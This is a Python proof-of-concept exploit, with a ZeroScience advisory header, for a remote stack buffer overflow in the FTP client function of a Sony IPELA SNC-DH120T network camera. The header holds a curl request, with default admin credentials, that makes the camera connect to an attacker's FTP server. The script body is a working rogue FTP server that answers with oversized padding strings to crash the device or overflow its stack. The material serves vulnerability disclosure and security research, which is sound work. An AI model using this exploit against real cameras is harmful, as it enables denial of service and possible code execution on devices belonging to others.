#!/usr/bin/env python
#
#
# Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow
#
#
# Vendor: Sony Electronics Inc.
# Product web page: https://pro.sony
# Affected version: SNC-DH120T v1.82.01
#
#
# Summary: IPELA is Sony's vision of the ultimate workplace, designed to revolutionize
# the way business communicates over global IP networks. IPELA products can improve the
# efficiency of your organization by connecting people and places with high-quality audio
# and video. The SNC-DH120T is an indoor tamper proof, high definition (720p) minidome
# network security camera with Electronic Day/Night settings, DEPA analysis and is ONVIF
# compliant. It supports dual streaming of H.264, MPEG-4 and JPEG at full frame-rate.
#
# Desc: The vulnerability is caused due to a boundary error in the processing of received
# FTP traffic through the FTP client functionality (ftpclient.cgi), which can be exploited
# to cause a stack-based buffer overflow when a user issues a POST request to connect to a
# malicious FTP server. Successful exploitation could allow execution of arbitrary code on
# the affected device or cause denial of service scenario.
#
# Tested on: gen5th/1.x
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2020-5596
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5596.php
# Fixed in 1.88.0.0: https://pro.sony/en_NL/support-resources/snc-dh120/software/mpengb00000928
#
#
# 28.10.2019
# 


# PoC:

# Trigger:
# curl 'http://10.0.0.3:5080/command/ftpclient.cgi' \
#   -H 'Connection: keep-alive' \
#   -H 'Cache-Control: max-age=0' \
#   -H 'Authorization: Basic YWRtaW46YWRtaW4=' \
#   -H 'Upgrade-Insecure-Requests: 1' \
#   -H 'Origin: http://10.0.0.3:5080' \
#   -H 'Content-Type: application/x-www-form-urlencoded' \
#   -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36' \
#   -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
#   -H 'Referer: http://81.83.17.200:5080/en/l4/ftp/common.html' \
#   -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \
#   --data 'FtpClientFunc=on&FcServerName=10.0.0.5&FcUserName=EVIL&FcPassword=NONESO&FcPassive=off&reload=referer' \
#   --compressed \
#   --insecure
#
#

# Observed fixed version log:
# 2020-07-27 17:48:03 FTP client Unexpected error occurred during FTP client operation.
#


import socket

HOST = '127.0.0.1' # 10.0.0.5
PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
print 'Connection from', addr
while True:
    data = conn.recv(1024)
    if not data:
        break
    evil  = "A" * 100000
    evil += "B" * 10000
    evil += "C" * 1000
    conn.sendall(evil+'\n')
    s.close()